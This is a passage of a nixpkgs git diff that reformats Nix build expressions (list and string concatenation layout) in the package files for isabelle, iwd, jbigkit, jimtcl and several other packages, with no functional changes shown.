+    pytestCheckHook
+    smtpdfix
+    httpx
+  ]);
 
   propagatedBuildInputs =
     with py.pkgs;
diff --git a/pkgs/by-name/is/isabelle/package.nix b/pkgs/by-name/is/isabelle/package.nix
index 363bf860b8c9..1a844a628d03 100644
--- a/pkgs/by-name/is/isabelle/package.nix
+++ b/pkgs/by-name/is/isabelle/package.nix
@@ -98,83 +98,82 @@ stdenv.mkDerivation (finalAttrs: rec {
     sourceRoot=${dirname}
   '';
 
-  postPatch =
-    ''
-      patchShebangs lib/Tools/ bin/
+  postPatch = ''
+    patchShebangs lib/Tools/ bin/
 
-      cat >contrib/verit-*/etc/settings <<EOF
-        ISABELLE_VERIT=${veriT}/bin/veriT
-      EOF
+    cat >contrib/verit-*/etc/settings <<EOF
+      ISABELLE_VERIT=${veriT}/bin/veriT
+    EOF
 
-      cat >contrib/e-*/etc/settings <<EOF
-        E_HOME=${eprover-ho}/bin
-        E_VERSION=${eprover-ho.version}
-      EOF
+    cat >contrib/e-*/etc/settings <<EOF
+      E_HOME=${eprover-ho}/bin
+      E_VERSION=${eprover-ho.version}
+    EOF
 
-      cat >contrib/vampire-*/etc/settings <<EOF
-        VAMPIRE_HOME=${vampire'}/bin
-        VAMPIRE_VERSION=${vampire'.version}
-        VAMPIRE_EXTRA_OPTIONS="--mode casc"
-      EOF
+    cat >contrib/vampire-*/etc/settings <<EOF
+      VAMPIRE_HOME=${vampire'}/bin
+      VAMPIRE_VERSION=${vampire'.version}
+      VAMPIRE_EXTRA_OPTIONS="--mode casc"
+    EOF
 
-      cat >contrib/polyml-*/etc/settings <<EOF
-        ML_SYSTEM_64=true
-        ML_SYSTEM=${polyml.name}
-        ML_PLATFORM=${stdenv.system}
-        ML_HOME=${polyml}/bin
-        ML_OPTIONS="--minheap 1000"
-        POLYML_HOME="\$COMPONENT"
-        ML_SOURCES="\$POLYML_HOME/src"
-      EOF
+    cat >contrib/polyml-*/etc/settings <<EOF
+      ML_SYSTEM_64=true
+      ML_SYSTEM=${polyml.name}
+      ML_PLATFORM=${stdenv.system}
+      ML_HOME=${polyml}/bin
+      ML_OPTIONS="--minheap 1000"
+      POLYML_HOME="\$COMPONENT"
+      ML_SOURCES="\$POLYML_HOME/src"
+    EOF
 
-      cat >contrib/jdk*/etc/settings <<EOF
-        ISABELLE_JAVA_PLATFORM=${stdenv.system}
-        ISABELLE_JDK_HOME=${java}
-      EOF
+    cat >contrib/jdk*/etc/settings <<EOF
+      ISABELLE_JAVA_PLATFORM=${stdenv.system}
+      ISABELLE_JDK_HOME=${java}
+    EOF
 
-      echo ISABELLE_LINE_EDITOR=${rlwrap}/bin/rlwrap >>etc/settings
+    echo ISABELLE_LINE_EDITOR=${rlwrap}/bin/rlwrap >>etc/settings
 
-      for comp in contrib/jdk* contrib/polyml-* contrib/verit-* contrib/vampire-* contrib/e-*; do
-        rm -rf $comp/${if stdenv.hostPlatform.isx86 then "x86" else "arm"}*
-      done
-      rm -rf contrib/*/src
+    for comp in contrib/jdk* contrib/polyml-* contrib/verit-* contrib/vampire-* contrib/e-*; do
+      rm -rf $comp/${if stdenv.hostPlatform.isx86 then "x86" else "arm"}*
+    done
+    rm -rf contrib/*/src
 
-      substituteInPlace lib/Tools/env \
-        --replace-fail /usr/bin/env ${coreutils}/bin/env
+    substituteInPlace lib/Tools/env \
+      --replace-fail /usr/bin/env ${coreutils}/bin/env
 
-      substituteInPlace src/Tools/Setup/src/Environment.java \
-        --replace-fail 'cmd.add("/usr/bin/env");' "" \
-        --replace-fail 'cmd.add("bash");' "cmd.add(\"$SHELL\");"
+    substituteInPlace src/Tools/Setup/src/Environment.java \
+      --replace-fail 'cmd.add("/usr/bin/env");' "" \
+      --replace-fail 'cmd.add("bash");' "cmd.add(\"$SHELL\");"
 
-      substituteInPlace src/Pure/General/sha1.ML \
-        --replace-fail '"$ML_HOME/" ^ (if ML_System.platform_is_windows then "sha1.dll" else "libsha1.so")' '"${sha1}/lib/libsha1.so"'
+    substituteInPlace src/Pure/General/sha1.ML \
+      --replace-fail '"$ML_HOME/" ^ (if ML_System.platform_is_windows then "sha1.dll" else "libsha1.so")' '"${sha1}/lib/libsha1.so"'
 
-      rm -r heaps
-    ''
-    + lib.optionalString (stdenv.hostPlatform.system == "x86_64-darwin") ''
-      substituteInPlace lib/scripts/isabelle-platform \
-        --replace-fail 'ISABELLE_APPLE_PLATFORM64=arm64-darwin' ""
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      arch=${
-        if stdenv.hostPlatform.system == "aarch64-linux" then "arm64-linux" else stdenv.hostPlatform.system
-      }
-      for f in contrib/*/$arch/{z3,nunchaku,spass,zipperposition}; do
-        patchelf --set-interpreter $(cat ${stdenv.cc}/nix-support/dynamic-linker) "$f"${lib.optionalString stdenv.hostPlatform.isAarch64 " || true"}
-      done
-      patchelf --set-interpreter $(cat ${stdenv.cc}/nix-support/dynamic-linker) contrib/bash_process-*/$arch/bash_process
-      for d in contrib/kodkodi-*/jni/$arch; do
-        patchelf --set-rpath "${
-          lib.concatStringsSep ":" [
-            "${java}/lib/openjdk/lib/server"
-            "${lib.getLib stdenv.cc.cc}/lib"
-          ]
-        }" $d/*.so
-      done
-    ''
-    + lib.optionalString (stdenv.hostPlatform.system == "x86_64-linux") ''
-      patchelf --set-rpath "${lib.getLib stdenv.cc.cc}/lib" contrib/z3-*/$arch/z3
-    '';
+    rm -r heaps
+  ''
+  + lib.optionalString (stdenv.hostPlatform.system == "x86_64-darwin") ''
+    substituteInPlace lib/scripts/isabelle-platform \
+      --replace-fail 'ISABELLE_APPLE_PLATFORM64=arm64-darwin' ""
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    arch=${
+      if stdenv.hostPlatform.system == "aarch64-linux" then "arm64-linux" else stdenv.hostPlatform.system
+    }
+    for f in contrib/*/$arch/{z3,nunchaku,spass,zipperposition}; do
+      patchelf --set-interpreter $(cat ${stdenv.cc}/nix-support/dynamic-linker) "$f"${lib.optionalString stdenv.hostPlatform.isAarch64 " || true"}
+    done
+    patchelf --set-interpreter $(cat ${stdenv.cc}/nix-support/dynamic-linker) contrib/bash_process-*/$arch/bash_process
+    for d in contrib/kodkodi-*/jni/$arch; do
+      patchelf --set-rpath "${
+        lib.concatStringsSep ":" [
+          "${java}/lib/openjdk/lib/server"
+          "${lib.getLib stdenv.cc.cc}/lib"
+        ]
+      }" $d/*.so
+    done
+  ''
+  + lib.optionalString (stdenv.hostPlatform.system == "x86_64-linux") ''
+    patchelf --set-rpath "${lib.getLib stdenv.cc.cc}/lib" contrib/z3-*/$arch/z3
+  '';
 
   buildPhase = ''
     export HOME=$TMP # The build fails if home is not set
@@ -260,22 +259,21 @@ stdenv.mkDerivation (finalAttrs: rec {
       name = "isabelle-with-components-${isabelle.version}";
       paths = [ isabelle ] ++ (builtins.map (c: c.override { inherit isabelle; }) components);
 
-      postBuild =
-        ''
-          rm $out/bin/*
+      postBuild = ''
+        rm $out/bin/*
 
-          cd ${base}
-          rm bin/*
-          cp ${isabelle}/${isabelle.dirname}/bin/* bin/
-          rm etc/components
-          cat ${isabelle}/${isabelle.dirname}/etc/components > etc/components
+        cd ${base}
+        rm bin/*
+        cp ${isabelle}/${isabelle.dirname}/bin/* bin/
+        rm etc/components
+        cat ${isabelle}/${isabelle.dirname}/etc/components > etc/components
 
-          export HOME=$TMP
-          bin/isabelle install $out/bin
-          patchShebangs $out/bin
-        ''
-        + lib.concatMapStringsSep "\n" (c: ''
-          echo contrib/${c.pname}-${c.version} >> ${base}/etc/components
-        '') components;
+        export HOME=$TMP
+        bin/isabelle install $out/bin
+        patchShebangs $out/bin
+      ''
+      + lib.concatMapStringsSep "\n" (c: ''
+        echo contrib/${c.pname}-${c.version} >> ${base}/etc/components
+      '') components;
     };
 })
diff --git a/pkgs/by-name/is/isync/package.nix b/pkgs/by-name/is/isync/package.nix
index 1a0864249264..b365d752aad1 100644
--- a/pkgs/by-name/is/isync/package.nix
+++ b/pkgs/by-name/is/isync/package.nix
@@ -40,7 +40,8 @@ stdenv.mkDerivation (finalAttrs: {
     autoreconfHook
     pkg-config
     perl
-  ] ++ lib.optionals withCyrusSaslXoauth2 [ makeWrapper ];
+  ]
+  ++ lib.optionals withCyrusSaslXoauth2 [ makeWrapper ];
   buildInputs = [
     perl538Packages.TimeDate
     openssl
diff --git a/pkgs/by-name/iw/iwd/package.nix b/pkgs/by-name/iw/iwd/package.nix
index 9e67a9d4ed7b..95300f74fae2 100644
--- a/pkgs/by-name/iw/iwd/package.nix
+++ b/pkgs/by-name/iw/iwd/package.nix
@@ -27,7 +27,8 @@ stdenv.mkDerivation rec {
     "out"
     "man"
     "doc"
-  ] ++ lib.optional (stdenv.hostPlatform == stdenv.buildPlatform) "test";
+  ]
+  ++ lib.optional (stdenv.hostPlatform == stdenv.buildPlatform) "test";
   separateDebugInfo = true;
 
   nativeBuildInputs = [
@@ -72,16 +73,15 @@ stdenv.mkDerivation rec {
 
   doCheck = true;
 
-  postInstall =
-    ''
-      mkdir -p $doc/share/doc
-      cp -a doc $doc/share/doc/iwd
-      cp -a README AUTHORS TODO $doc/share/doc/iwd
-    ''
-    + lib.optionalString (stdenv.hostPlatform == stdenv.buildPlatform) ''
-      mkdir -p $test/bin
-      cp -a test/* $test/bin/
-    '';
+  postInstall = ''
+    mkdir -p $doc/share/doc
+    cp -a doc $doc/share/doc/iwd
+    cp -a README AUTHORS TODO $doc/share/doc/iwd
+  ''
+  + lib.optionalString (stdenv.hostPlatform == stdenv.buildPlatform) ''
+    mkdir -p $test/bin
+    cp -a test/* $test/bin/
+  '';
 
   preFixup = ''
     wrapPythonPrograms
diff --git a/pkgs/by-name/ja/jadx/package.nix b/pkgs/by-name/ja/jadx/package.nix
index 0fe71e06db65..a3e14509699e 100644
--- a/pkgs/by-name/ja/jadx/package.nix
+++ b/pkgs/by-name/ja/jadx/package.nix
@@ -37,7 +37,8 @@ stdenv.mkDerivation (finalAttrs: {
     imagemagick
     makeBinaryWrapper
     copyDesktopItems
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ desktopToDarwinBundle ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ desktopToDarwinBundle ];
 
   # Otherwise, Gradle fails with `java.net.SocketException: Operation not permitted`
   __darwinAllowLocalNetworking = true;
diff --git a/pkgs/by-name/ja/jalv/package.nix b/pkgs/by-name/ja/jalv/package.nix
index 9212178151c9..4e574bab4c30 100644
--- a/pkgs/by-name/ja/jalv/package.nix
+++ b/pkgs/by-name/ja/jalv/package.nix
@@ -30,28 +30,26 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-MAQoc+WcuoG6Psa44VRaZ2TWB2LBpvf6EmqbUZPUf38=";
   };
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      pkg-config
-    ]
-    ++ lib.optionals (!useQt) [ wrapGAppsHook3 ]
-    ++ lib.optionals useQt [ libsForQt5.wrapQtAppsHook ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+  ]
+  ++ lib.optionals (!useQt) [ wrapGAppsHook3 ]
+  ++ lib.optionals useQt [ libsForQt5.wrapQtAppsHook ];
 
-  buildInputs =
-    [
-      lilv
-      lv2
-      portaudio
-      serd
-      sord
-      sratom
-      suil
-    ]
-    ++ lib.optionals (!useJack) [ portaudio ]
-    ++ lib.optionals useJack [ libjack2 ]
-    ++ lib.optionals useQt [ libsForQt5.qtbase ];
+  buildInputs = [
+    lilv
+    lv2
+    portaudio
+    serd
+    sord
+    sratom
+    suil
+  ]
+  ++ lib.optionals (!useJack) [ portaudio ]
+  ++ lib.optionals useJack [ libjack2 ]
+  ++ lib.optionals useQt [ libsForQt5.qtbase ];
 
   mesonFlags = [
     (lib.mesonEnable "portaudio" (!useJack))
diff --git a/pkgs/by-name/ja/jam/package.nix b/pkgs/by-name/ja/jam/package.nix
index 1fb3fc3e1e51..6f981814d4cc 100644
--- a/pkgs/by-name/ja/jam/package.nix
+++ b/pkgs/by-name/ja/jam/package.nix
@@ -49,26 +49,25 @@ stdenv.mkDerivation (finalAttrs: {
     export AR="$AR rc"
   '';
 
-  postPatch =
-    ''
-      substituteInPlace jam.h --replace-fail 'ifdef linux' 'ifdef __linux__'
-    ''
-    +
-      # When cross-compiling, we need to set the preprocessor macros
-      # OSMAJOR/OSMINOR/OSPLAT to the values from the target platform, not the host
-      # platform. This looks a little ridiculous because the vast majority of build
-      # tools don't embed target-specific information into their binary, but in this
-      # case we behave more like a compiler than a make(1)-alike.
-      lib.optionalString (stdenv.hostPlatform != stdenv.targetPlatform) ''
-         cat >>jam.h <<EOF
-         #undef OSMAJOR
-         #undef OSMINOR
-         #undef OSPLAT
-         $(
-           ${pkgsBuildTarget.targetPackages.stdenv.cc}/bin/${pkgsBuildTarget.targetPackages.stdenv.cc.targetPrefix}cc -E -dM jam.h | grep -E '^#define (OSMAJOR|OSMINOR|OSPLAT) '
-          )
-        EOF
-      '';
+  postPatch = ''
+    substituteInPlace jam.h --replace-fail 'ifdef linux' 'ifdef __linux__'
+  ''
+  +
+    # When cross-compiling, we need to set the preprocessor macros
+    # OSMAJOR/OSMINOR/OSPLAT to the values from the target platform, not the host
+    # platform. This looks a little ridiculous because the vast majority of build
+    # tools don't embed target-specific information into their binary, but in this
+    # case we behave more like a compiler than a make(1)-alike.
+    lib.optionalString (stdenv.hostPlatform != stdenv.targetPlatform) ''
+       cat >>jam.h <<EOF
+       #undef OSMAJOR
+       #undef OSMINOR
+       #undef OSPLAT
+       $(
+         ${pkgsBuildTarget.targetPackages.stdenv.cc}/bin/${pkgsBuildTarget.targetPackages.stdenv.cc.targetPrefix}cc -E -dM jam.h | grep -E '^#define (OSMAJOR|OSMINOR|OSPLAT) '
+        )
+      EOF
+    '';
 
   buildPhase = ''
     runHook preBuild
diff --git a/pkgs/by-name/ja/jameica/package.nix b/pkgs/by-name/ja/jameica/package.nix
index 671254fdad4b..882932324ade 100644
--- a/pkgs/by-name/ja/jameica/package.nix
+++ b/pkgs/by-name/ja/jameica/package.nix
@@ -77,33 +77,32 @@ stdenv.mkDerivation rec {
     runHook postBuild
   '';
 
-  installPhase =
-    ''
-      runHook preInstall
+  installPhase = ''
+    runHook preInstall
 
-      mkdir -p $out/libexec $out/lib $out/bin $out/share/{applications,jameica-${version},java}/
+    mkdir -p $out/libexec $out/lib $out/bin $out/share/{applications,jameica-${version},java}/
 
-      # copy libraries except SWT
-      cp $(find lib -type f -iname '*.jar' | grep -ve 'swt/.*/swt.jar') $out/share/jameica-${version}/
-      # copy platform-specific SWT
-      cp lib/swt/${swtSystem}/swt.jar $out/share/jameica-${version}/
+    # copy libraries except SWT
+    cp $(find lib -type f -iname '*.jar' | grep -ve 'swt/.*/swt.jar') $out/share/jameica-${version}/
+    # copy platform-specific SWT
+    cp lib/swt/${swtSystem}/swt.jar $out/share/jameica-${version}/
 
-      install -Dm644 releases/${_version}-*/jameica/jameica.jar $out/share/java/
-      install -Dm644 plugin.xml $out/share/java/
-      install -Dm644 build/jameica-icon.png $out/share/pixmaps/jameica.png
-      cp ${desktopItem}/share/applications/* $out/share/applications/
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    install -Dm644 releases/${_version}-*/jameica/jameica.jar $out/share/java/
+    install -Dm644 plugin.xml $out/share/java/
+    install -Dm644 build/jameica-icon.png $out/share/pixmaps/jameica.png
+    cp ${desktopItem}/share/applications/* $out/share/applications/
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
 
-      # Create .app bundle for macOS
-      mkdir -p $out/Applications
-      chmod +x releases/${_version}-${_build}-${_build}/tmp/jameica.app/jameica*.sh
-      cp -r releases/${_version}-${_build}-${_build}/tmp/jameica.app $out/Applications/Jameica.app
-    ''
-    + ''
+    # Create .app bundle for macOS
+    mkdir -p $out/Applications
+    chmod +x releases/${_version}-${_build}-${_build}/tmp/jameica.app/jameica*.sh
+    cp -r releases/${_version}-${_build}-${_build}/tmp/jameica.app $out/Applications/Jameica.app
+  ''
+  + ''
 
-      runHook postInstall
-    '';
+    runHook postInstall
+  '';
 
   postFixup = ''
     makeWrapper ${jre}/bin/java $out/bin/jameica \
diff --git a/pkgs/by-name/ja/jamin/package.nix b/pkgs/by-name/ja/jamin/package.nix
index f8fc0b8fe939..d48169a7c6ac 100644
--- a/pkgs/by-name/ja/jamin/package.nix
+++ b/pkgs/by-name/ja/jamin/package.nix
@@ -27,19 +27,18 @@ stdenv.mkDerivation (finalAttrs: {
     makeWrapper
   ];
 
-  buildInputs =
-    [
-      fftwFloat
-      gtk2
-      ladspaPlugins
-      libjack2
-      liblo
-      libxml2
-    ]
-    ++ (with perlPackages; [
-      perl
-      XMLParser
-    ]);
+  buildInputs = [
+    fftwFloat
+    gtk2
+    ladspaPlugins
+    libjack2
+    liblo
+    libxml2
+  ]
+  ++ (with perlPackages; [
+    perl
+    XMLParser
+  ]);
 
   # Workaround build failure on -fno-common toolchains like upstream
   # gcc-10. Otherwise build fails as:
diff --git a/pkgs/by-name/ja/jasmin-compiler/package.nix b/pkgs/by-name/ja/jasmin-compiler/package.nix
index 78617d04a8bd..ecbba2c2fd0f 100644
--- a/pkgs/by-name/ja/jasmin-compiler/package.nix
+++ b/pkgs/by-name/ja/jasmin-compiler/package.nix
@@ -25,15 +25,14 @@ stdenv.mkDerivation rec {
     cmdliner
   ];
 
-  buildInputs =
-    [
-      mpfr
-      ppl
-    ]
-    ++ (with ocamlPackages; [
-      apron
-      yojson
-    ]);
+  buildInputs = [
+    mpfr
+    ppl
+  ]
+  ++ (with ocamlPackages; [
+    apron
+    yojson
+  ]);
 
   propagatedBuildInputs = with ocamlPackages; [
     angstrom
diff --git a/pkgs/by-name/ja/jasp-desktop/package.nix b/pkgs/by-name/ja/jasp-desktop/package.nix
index 2fb25136e503..c888f199b997 100644
--- a/pkgs/by-name/ja/jasp-desktop/package.nix
+++ b/pkgs/by-name/ja/jasp-desktop/package.nix
@@ -43,7 +43,8 @@ let
       "${R}/lib/R"
       rPackages.RInside
       engine.jaspBase # Should already be propagated from modules, but include it again, just in case
-    ] ++ lib.attrValues modules;
+    ]
+    ++ lib.attrValues modules;
   };
 
   modulesDir = linkFarm "jasp-${version}-modules" (
diff --git a/pkgs/by-name/ja/jasper/package.nix b/pkgs/by-name/ja/jasper/package.nix
index 99326fed642d..ee237051d482 100644
--- a/pkgs/by-name/ja/jasper/package.nix
+++ b/pkgs/by-name/ja/jasper/package.nix
@@ -37,19 +37,18 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  buildInputs =
-    [
-    ]
-    ++ lib.optionals enableHEIFCodec [
-      libheif
-    ]
-    ++ lib.optionals enableJPGCodec [
-      libjpeg
-    ]
-    ++ lib.optionals enableOpenGL [
-      libglut
-      libGL
-    ];
+  buildInputs = [
+  ]
+  ++ lib.optionals enableHEIFCodec [
+    libheif
+  ]
+  ++ lib.optionals enableJPGCodec [
+    libjpeg
+  ]
+  ++ lib.optionals enableOpenGL [
+    libglut
+    libGL
+  ];
 
   # Since "build" already exists and is populated, cmake tries to use it,
   # throwing uncomprehensible error messages...
diff --git a/pkgs/by-name/jb/jbigkit/package.nix b/pkgs/by-name/jb/jbigkit/package.nix
index e9605d382ba9..46b66f21f6b2 100644
--- a/pkgs/by-name/jb/jbigkit/package.nix
+++ b/pkgs/by-name/jb/jbigkit/package.nix
@@ -14,40 +14,39 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-3nEGtr+vSV1oZcfdesbKE4G9EuDYFAXqgefyFnJj2TI=";
   };
 
-  patches =
-    [
-      # Archlinux patch: this helps users to reduce denial-of-service risks, as in CVE-2017-9937
-      (fetchpatch {
-        url = "https://gitlab.archlinux.org/archlinux/packaging/packages/jbigkit/-/raw/main/0013-new-jbig.c-limit-s-maxmem-maximum-decoded-image-size.patch";
-        hash = "sha256-Yq5qCTF7KZTrm4oeWbpctb+QLt3shJUGEReZvd0ey9k=";
-      })
-      # Archlinux patch: fix heap overflow
-      (fetchpatch {
-        url = "https://gitlab.archlinux.org/archlinux/packaging/packages/jbigkit/-/raw/main/0015-jbg_newlen-check-for-end-of-file-within-MARKER_NEWLE.patch";
-        hash = "sha256-F3qA/btR9D9NfzrNY76X4Z6vG6NrisI36SjCDjS+F5s=";
-      })
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      # Archlinux patch: build shared object
-      (fetchpatch {
-        url = "https://gitlab.archlinux.org/archlinux/packaging/packages/jbigkit/-/raw/main/jbigkit-2.1-shared_lib.patch";
-        hash = "sha256-+efeeKg3FJ/TjSOj58kD+DwnaCm3zhGzKLfUes/d5rg=";
-      })
-      (fetchpatch {
-        url = "https://gitlab.archlinux.org/archlinux/packaging/packages/jbigkit/-/raw/main/jbigkit-2.1-ldflags.patch";
-        hash = "sha256-ik3NifyuhDHnIMTrNLAKInPgu2F5u6Gvk9daqrn8ZhY=";
-      })
-      # Archlinux patch: update coverity
-      (fetchpatch {
-        url = "https://gitlab.archlinux.org/archlinux/packaging/packages/jbigkit/-/raw/main/jbigkit-2.1-coverity.patch";
-        hash = "sha256-APm9A2f4sMufuY3cnL9HOcSCa9ov3pyzgQTTKLd49/E=";
-      })
-      # Archlinux patch: fix build warnings
-      (fetchpatch {
-        url = "https://gitlab.archlinux.org/archlinux/packaging/packages/jbigkit/-/raw/main/jbigkit-2.1-build_warnings.patch";
-        hash = "sha256-lDEJ1bvZ+zR7K4CiTq+aXJ8PGjILE3W13kznLLlGOOg=";
-      })
-    ];
+  patches = [
+    # Archlinux patch: this helps users to reduce denial-of-service risks, as in CVE-2017-9937
+    (fetchpatch {
+      url = "https://gitlab.archlinux.org/archlinux/packaging/packages/jbigkit/-/raw/main/0013-new-jbig.c-limit-s-maxmem-maximum-decoded-image-size.patch";
+      hash = "sha256-Yq5qCTF7KZTrm4oeWbpctb+QLt3shJUGEReZvd0ey9k=";
+    })
+    # Archlinux patch: fix heap overflow
+    (fetchpatch {
+      url = "https://gitlab.archlinux.org/archlinux/packaging/packages/jbigkit/-/raw/main/0015-jbg_newlen-check-for-end-of-file-within-MARKER_NEWLE.patch";
+      hash = "sha256-F3qA/btR9D9NfzrNY76X4Z6vG6NrisI36SjCDjS+F5s=";
+    })
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    # Archlinux patch: build shared object
+    (fetchpatch {
+      url = "https://gitlab.archlinux.org/archlinux/packaging/packages/jbigkit/-/raw/main/jbigkit-2.1-shared_lib.patch";
+      hash = "sha256-+efeeKg3FJ/TjSOj58kD+DwnaCm3zhGzKLfUes/d5rg=";
+    })
+    (fetchpatch {
+      url = "https://gitlab.archlinux.org/archlinux/packaging/packages/jbigkit/-/raw/main/jbigkit-2.1-ldflags.patch";
+      hash = "sha256-ik3NifyuhDHnIMTrNLAKInPgu2F5u6Gvk9daqrn8ZhY=";
+    })
+    # Archlinux patch: update coverity
+    (fetchpatch {
+      url = "https://gitlab.archlinux.org/archlinux/packaging/packages/jbigkit/-/raw/main/jbigkit-2.1-coverity.patch";
+      hash = "sha256-APm9A2f4sMufuY3cnL9HOcSCa9ov3pyzgQTTKLd49/E=";
+    })
+    # Archlinux patch: fix build warnings
+    (fetchpatch {
+      url = "https://gitlab.archlinux.org/archlinux/packaging/packages/jbigkit/-/raw/main/jbigkit-2.1-build_warnings.patch";
+      hash = "sha256-lDEJ1bvZ+zR7K4CiTq+aXJ8PGjILE3W13kznLLlGOOg=";
+    })
+  ];
 
   makeFlags = [
     "AR=${lib.getBin stdenv.cc.bintools.bintools}/bin/${stdenv.cc.targetPrefix}ar"
@@ -64,28 +63,27 @@ stdenv.mkDerivation (finalAttrs: {
     done
   '';
 
-  installPhase =
-    ''
-      runHook preInstall
+  installPhase = ''
+    runHook preInstall
 
-      install -vDm 644 libjbig/*.h -t "$out/include/"
-      install -vDm 755 pbmtools/{jbgtopbm{,85},pbmtojbg{,85}} -t "$out/bin/"
-      install -vDm 644 pbmtools/*.1* -t "$out/share/man/man1/"
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      install -vDm 644 libjbig/libjbig*.a -t "$out/lib/"
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      install -vDm 755 libjbig/*.so.* -t "$out/lib/"
+    install -vDm 644 libjbig/*.h -t "$out/include/"
+    install -vDm 755 pbmtools/{jbgtopbm{,85},pbmtojbg{,85}} -t "$out/bin/"
+    install -vDm 644 pbmtools/*.1* -t "$out/share/man/man1/"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    install -vDm 644 libjbig/libjbig*.a -t "$out/lib/"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    install -vDm 755 libjbig/*.so.* -t "$out/lib/"
 
-      for lib in libjbig.so libjbig85.so; do
-        ln -sv "$lib.${finalAttrs.version}" "$out/lib/$lib"
-        ln -sv "$out/lib/$lib.${finalAttrs.version}" "$out/lib/$lib.0"
-      done
-    ''
-    + ''
-      runHook postInstall
-    '';
+    for lib in libjbig.so libjbig85.so; do
+      ln -sv "$lib.${finalAttrs.version}" "$out/lib/$lib"
+      ln -sv "$out/lib/$lib.${finalAttrs.version}" "$out/lib/$lib.0"
+    done
+  ''
+  + ''
+    runHook postInstall
+  '';
 
   doCheck = true;
 
diff --git a/pkgs/by-name/jd/jdupes/package.nix b/pkgs/by-name/jd/jdupes/package.nix
index 6a4b5c3c393c..f630bcd8b926 100644
--- a/pkgs/by-name/jd/jdupes/package.nix
+++ b/pkgs/by-name/jd/jdupes/package.nix
@@ -25,13 +25,14 @@ stdenv.mkDerivation (finalAttrs: {
 
   dontConfigure = true;
 
-  makeFlags =
-    [ "PREFIX=${placeholder "out"}" ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      "ENABLE_DEDUPE=1"
-      "STATIC_DEDUPE_H=1"
-    ]
-    ++ lib.optionals stdenv.cc.isGNU [ "HARDEN=1" ];
+  makeFlags = [
+    "PREFIX=${placeholder "out"}"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    "ENABLE_DEDUPE=1"
+    "STATIC_DEDUPE_H=1"
+  ]
+  ++ lib.optionals stdenv.cc.isGNU [ "HARDEN=1" ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/je/jellyfin-web/package.nix b/pkgs/by-name/je/jellyfin-web/package.nix
index c9d29fb19d82..326745272fd5 100644
--- a/pkgs/by-name/je/jellyfin-web/package.nix
+++ b/pkgs/by-name/je/jellyfin-web/package.nix
@@ -42,11 +42,12 @@ buildNpmPackage rec {
 
   nativeBuildInputs = [ pkg-config ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ xcbuild ];
 
-  buildInputs =
-    [ pango ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      giflib
-    ];
+  buildInputs = [
+    pango
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    giflib
+  ];
 
   installPhase = ''
     runHook preInstall
diff --git a/pkgs/by-name/jg/jgmenu/package.nix b/pkgs/by-name/jg/jgmenu/package.nix
index 9c0821ae38a7..a552c9a2d14a 100644
--- a/pkgs/by-name/jg/jgmenu/package.nix
+++ b/pkgs/by-name/jg/jgmenu/package.nix
@@ -33,28 +33,26 @@ stdenv.mkDerivation rec {
     python3Packages.wrapPython
   ];
 
-  buildInputs =
-    [
-      pango
-      librsvg
-      libxml2
-      menu-cache
-      xorg.libXinerama
-      xorg.libXrandr
-      python3Packages.python
-    ]
-    ++ lib.optionals enableXfcePanelApplet [
-      gtk3
-      xfce.libxfce4util
-      xfce.xfce4-panel
-    ];
+  buildInputs = [
+    pango
+    librsvg
+    libxml2
+    menu-cache
+    xorg.libXinerama
+    xorg.libXrandr
+    python3Packages.python
+  ]
+  ++ lib.optionals enableXfcePanelApplet [
+    gtk3
+    xfce.libxfce4util
+    xfce.xfce4-panel
+  ];
 
-  configureFlags =
-    [
-    ]
-    ++ lib.optionals enableXfcePanelApplet [
-      "--with-xfce4-panel-applet"
-    ];
+  configureFlags = [
+  ]
+  ++ lib.optionals enableXfcePanelApplet [
+    "--with-xfce4-panel-applet"
+  ];
 
   postFixup = ''
     wrapPythonProgramsIn "$out/lib/jgmenu"
diff --git a/pkgs/by-name/ji/jimtcl/package.nix b/pkgs/by-name/ji/jimtcl/package.nix
index 13181a2c0e5c..7914fdf17457 100644
--- a/pkgs/by-name/ji/jimtcl/package.nix
+++ b/pkgs/by-name/ji/jimtcl/package.nix
@@ -34,16 +34,15 @@ stdenv.mkDerivation (finalAttrs: {
     tcl
   ];
 
-  buildInputs =
-    [
-      sqlite
-      readline
-      openssl
-    ]
-    ++ (lib.optionals SDLSupport [
-      SDL
-      SDL_gfx
-    ]);
+  buildInputs = [
+    sqlite
+    readline
+    openssl
+  ]
+  ++ (lib.optionals SDLSupport [
+    SDL
+    SDL_gfx
+  ]);
 
   configureFlags = [
     "--shared"
@@ -55,7 +54,8 @@ stdenv.mkDerivation (finalAttrs: {
     "--with-ext=json"
     "--enable-utf8"
     "--ipv6"
-  ] ++ (lib.optional SDLSupport "--with-ext=sdl");
+  ]
+  ++ (lib.optional SDLSupport "--with-ext=sdl");
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/ji/jitsi-meet-electron/package.nix b/pkgs/by-name/ji/jitsi-meet-electron/package.nix
index fb49e4e51023..28dae1858b50 100644
--- a/pkgs/by-name/ji/jitsi-meet-electron/package.nix
+++ b/pkgs/by-name/ji/jitsi-meet-electron/package.nix
@@ -25,13 +25,12 @@ buildNpmPackage rec {
